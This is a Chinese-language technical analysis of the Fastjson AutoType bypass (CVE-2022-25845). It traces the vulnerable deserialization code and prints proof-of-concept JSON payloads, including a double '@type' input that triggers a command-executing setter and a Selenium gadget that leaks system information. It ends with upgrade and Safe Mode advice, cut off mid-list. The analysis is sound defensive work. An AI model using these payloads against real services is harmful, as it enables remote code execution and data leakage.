CVE-2022-25845 – Fastjson “Auto Type Bypass” RCE漏洞分析
本文转自vayci
前言
几周前， Fastjson 发布了一个新版本 (1.2.83) ，其中包含一项安全漏洞修复。据称攻击者可以利用此漏洞在远程机器上执行代码。根据发布的多篇文章，攻击者通过漏洞可以绕过Fastjson中的“AutoTypeCheck”机制，完成远程代码执行。
这个 Fastjson 漏洞最近才收到一个 CVE 漏洞标识符 – CVE-2022-25845，以及高达8.1的CVSS漏洞评分。尽管如此，这个漏洞仍扑朔迷离。尽管这是被宣称为在无处不在的组件中存在的一个高危RCE漏洞（将近5000个Maven项目都存在Fastjson依赖！），却几乎没有任何关于它的公开技术细节。到底是哪里存在漏洞，又是在什么条件下容易被攻击？
在本篇文章中，我们深入研究了这个Fastjson漏洞的严重性，以及那些类型的Java应用程序受此影响。文末是给目前无法升级到指定Fastjson版本的开发人员的一些策略建议。
哪些情况会受到CVE-2022-25845漏洞的影响？
所有依赖 Fastjson 版本 1.2.80 或更早版本的程序，在应用程序中如果包含使用用户数据调用 JSON.parse 或 JSON.parseObject 方法，但不指定要反序列化的特定类，都会受此漏洞的影响。
虽然看起来很宽泛，但是我们可以发现，在这些前提条件下，攻击者也只能通过这个漏洞调用特定类型的Java反序列化gadget（继承Throwable类的gadget类），这大大限制了这个漏洞的实际影响。
技术深入探究
Fastjson 是一个 Java 库，可以将 Java 对象序列化和反序列化，实现Java对象和JSON的相互转换。
和大多数 JSON 类一样，Fastjson 支持将基本 JSON 类型（数组和对象）分别序列化和反序列化为它们的 Java 等价对象——Arrays 和 Maps。
然而，Fastjson也可以将用户的Java对象（POJO）序列化为JSON，或从JSON反序列化为Java对象。
例如，我们定义了一个名为User的类，以下代码时将其进行序列化为JSON，然后再进行反序列化。
1 2 3 4 5 6 7 8 9 public class App { public static void main ( String[] args ) { ... String jsonString = JSON.toJSONString(user); User user2 = JSON.parseObject(jsonString, User.class); } }
JSON.parseObject()返回一个 JSONObject 对象， 然后这个对象又转换为User类。
有时候，开发人员想要更灵活的代码来接收序列化的JSON，告诉代码JSON应该被反序列化为哪种类。例如下面这种JSON形式：
1 2 3 4 5 6 7 8 9 10 11 12 13 "users" : [ { "@type" : "AdminUser" , "username" : "admin" , "password" : "21232f297a57a5a743894a0e4a801fc3" } , { "@type" : "GuestUser" , "username" : "guest" , "password" : "" } ] }
Fastjson 支持一个名为“AutoType”的功能。启用该功能后，可以为每个用户entry引入类型。开发人员只需要调用如下代码：
1 2 3 4 JSONObject obj = JSON.parseObject(jsonString, Feature.SupportAutoType);JSONArray users = (JSONArray)obj.get("users" );
但是，如果反序列化的JSON是用户可以控制的，则在启用AutoType的情况下对其进行解析可能会出现反序列化安全问题。因为攻击者可以实例化Classpath上可用的任意类，并为类的构造函数提供任意参数。这个问题已经被很多次证实确实可以利用，并且例如ysoserial之类的框架就存在这里攻击手段的风险（Java的“gadget”类）。
因此，Fastjson的开发者选择默认禁用了AutoType功能，这应该能够安全地解析人员JSON数据了。但是，AutoType的机制比这复杂得多…
绕过 AutoType 默认禁用策略
当JSON.parseObject()被调用时，它最终会调用到 DefaultJSONParser.parseObject()，并且传入参数 object 为 JSONObject，fieldName 为 null。当这个方法遇到“@type”这个符号（JSON.DEFAULT_TYPE_KEY）时，就会调用config.checkAutoType：
1 2 3 4 5 6 7 if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(symbolTable, '"' ); if (lexer.isEnabled(Feature.IgnoreAutoType)) { continue ; }
最终，在所有flag都是默认的情况下，代码会调用至config.checkAutoType()。在这里，我们可以看到因为被列入黑名单而无法通过AutoType 机制实例化的类列表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (expectClass == null ) { expectClassFlag = false ; } else { long expectHash = TypeUtils.fnv1a_64(expectClass.getName()); if (expectHash == 0x90a25f5baa21529eL || expectHash == 0x2d10a5801b9d6136L || expectHash == 0xaf586a571e302c6bL || expectHash == 0xed007300a7b227c6L || expectHash == 0x295c4605fd1eaa95L || expectHash == 0x47ef269aadc650b4L || expectHash == 0x6439c4dff712ae8bL || expectHash == 0xe3dd9875a2dc5283L || expectHash == 0xe2a8ddba03e69e0dL || expectHash == 0xd734ceb4c3e9d1daL ) { expectClassFlag = false ; } else { expectClassFlag = true ; } }
这些被Ban的类是以下这些：
java.lang.Object
java.io.Serializable
java.lang.Cloneable
java.lang.Runnable
java.lang.AutoCloseable
java.io.Closeable
java.lang.Iterable
java.util.Collection
java.lang.Readable
java.util.EventListener
你也可以在 fastjson-blacklist 查看到更多被列入黑名单的类。这个仓库维护了被列入Fastjson黑名单的类的hash值。
最后，代码将尝试找到一个反序列化器deserializer，用来对这个已经被JSON序列化的类进行反序列化。
1 2 3 4 5 6 7 8 9 10 ObjectDeserializer deserializer = config.getDeserializer(clazz);Class deserClass = deserializer.getClass();if (JavaBeanDeserializer.class.isAssignableFrom(deserClass) && deserClass != JavaBeanDeserializer.class && deserClass != ThrowableDeserializer.class) { this .setResolveStatus(NONE); } else if (deserializer instanceof MapDeserializer) { this .setResolveStatus(NONE); } Object obj = deserializer.deserialze(this , clazz, fieldName);
在 ParserConfig.getDeserializer()内部，有一个关键检查，用于验证目标类是否继承了 Throwable 类：
1 2 } else if (Throwable.class.isAssignableFrom(clazz)) { deserializer = new ThrowableDeserializer (this , clazz);
ThrowableDeserializer.deserialize()会处理这种数据。如果存在“@type”，它将使用 autoTypeCheck()检查并继续正常反序列化：
1 2 3 4 if (JSON.DEFAULT_TYPE_KEY.equals(key)) { if (lexer.token() == JSONToken.LITERAL_STRING) { String exClassName = lexer.stringVal(); exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());
因此，漏洞的核心在于 ，只要目标类继承自 Throwable 类，Fastjson便可以反序列化为任意类！
在这种情况下，负责创建反序列化类的函数是 createException()，它处理了 3 种不同类型的构造函数。一个没有任何参数，一个带有异常消息的参数，一个带有异常消息和异常原因参数。在此之后，它将先尝试调用更为复杂的构造函数（causeConstructor、messageConstructor 和 defaultConstructor）：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private Throwable createException (String message, Throwable cause, Class<?> exClass) throws Exception { Constructor<?> defaultConstructor = null ; Constructor<?> messageConstructor = null ; Constructor<?> causeConstructor = null ; for (Constructor<?> constructor : exClass.getConstructors()) { Class<?>[] types = constructor.getParameterTypes(); if (types.length == 0 ) { defaultConstructor = constructor; continue ; } if (types.length == 1 && types[0 ] == String.class) { messageConstructor = constructor; continue ; } if (types.length == 2 && types[0 ] == String.class && types[1 ] == Throwable.class) { causeConstructor = constructor; continue ; } } if (causeConstructor != null ) { return (Throwable) causeConstructor.newInstance(message, cause); } if (messageConstructor != null ) { return (Throwable) messageConstructor.newInstance(message); } if (defaultConstructor != null ) { return (Throwable) defaultConstructor.newInstance(); }
作为类实例化的一步，还会为每个相关成员变量调用一个 setter方法：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 if (otherValues != null ) { JavaBeanDeserializer exBeanDeser = null ; if (exClass != null ) { if (exClass == clazz) { exBeanDeser = this ; } else { ObjectDeserializer exDeser = parser.getConfig().getDeserializer(exClass); if (exDeser instanceof JavaBeanDeserializer) { exBeanDeser = (JavaBeanDeserializer) exDeser; } } } if (exBeanDeser != null ) { for (Map.Entry<String, Object> entry : otherValues.entrySet()) { String key = entry.getKey(); Object value = entry.getValue(); FieldDeserializer fieldDeserializer = exBeanDeser.getFieldDeserializer(key); if (fieldDeserializer != null ) { FieldInfo fieldInfo = fieldDeserializer.fieldInfo; if (!fieldInfo.fieldClass.isInstance(value)) { value = TypeUtils.cast(value, fieldInfo.fieldType, parser.getConfig()); } fieldDeserializer.setValue(ex, value); } } } }
怎么利用 CVE-2022-25845 漏洞？
在了解了AutoType 机制中的上述“漏洞”之后，让我们看看一个在现实中利用这个漏洞的可行性。这个漏洞据称可以实现远程代码执行。
由 YoungBear 发布的漏洞利用方案，通过传入这个JSON可以运行任意系统操作命令。
1 2 3 4 5 { "@type" : "java.lang.Exception" , "@type" : "com.example.fastjson.poc20220523.Poc20220523" , "name" : "calc" }
这个漏洞利用方案依赖于在 Java 应用程序中定义的下面这个继承Exception的类：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.example.fastjson.poc20220523;import java.io.IOException;public class Poc20220523 extends Exception { public void setName (String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } } }
当反序列化执行到上面这一段JSON时，Poc20220523这个类就创建了，并且提供name参数是通过自动调用setter方法。
如代码所示，这将最终调用包含 str = “calc”的恶意 setName() setter 函数：
1 2 3 4 5 6 7 public void setName (String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } }
这部分的实际代码内容为打开windows计算器：
这个漏洞利用方案显然只是一个演示，因为任何正常的 Java 应用程序都不会包含类似于 Poc20220523 这样会基于外部参数运行 shell 命令的异常派生类。
现在亟待解决的问题是 — 是否有大家熟知的 Java“gadget”类可以作为此漏洞的一部分被滥用？即继承自Exception或Throwable，并且存在相关的构造函数或者setter方法，可能会造成实际安全影响的Java类。
目前，有一个兼容的gadget类（来自 Selenium 库）已经在被发布了。它会导致非常低影响的数据泄漏：
1 2 3 4 5 6 7 8 9 { "x" : { "@type" : "java.lang.Exception" , "@type" : "org.openqa.selenium.WebDriverException" } , "y" : { "$ref" : "$x.systemInformation" } }
反序列化这个 JSON 最终会创建一个 HashMap，其中“y”值为有关机器的一些基本信息：
1 "System info: host: '', ip: '', os.name: '', os.arch: '', os.version: '', java.version: ''"
根据应用程序的不同，这些信息最终可能会被存储或发送给攻击者（例如，它可能被写入可远程访问日志）。
在检查了 ysoserial 等其他知名来源后，我们没有发现任何可以在实际场景中能够导致远程代码执行的gadget类。因此，想要利用这个漏洞进行实际攻击的黑客，需要对被共计的Java应用服务器进行深入研究，以找到一个加载在Classpath中的自定义的Java gadget类。这个类继承自Exception/Throwable，并包含可用于获取权限、泄漏数据甚至运行任意代码的相关方法。
总而言之，我们评估目前这个漏洞似乎并未构成很高风险的威胁。尽管存在一个潜在影响巨大（远程代码执行）的公共PoC漏洞可利用，并且攻击的条件并不是甚微（将不受信任的输入数据传递给特定易受攻击的 API）。最重要的是，必须找到一个合适的gadget类（或许由于一些不太可能的属性根本不存在）来突破特定被攻击的目标。
如何完全修复 CVE-2022-25845？
要完全修复 CVE-2022-25845，我们建议将 Fastjson 升级到最新版本，目前为 1.2.83。
如何降低 CVE-2022-25845 风险？
启用 Fastjson 的“Safe Mode”可以减缓这个漏洞风险。
可以通过执行以下任何一种操作来开启Safe Mode：
1.通过代码配置 ParserConfig.getGlobalInstance().setSafeMode(true);
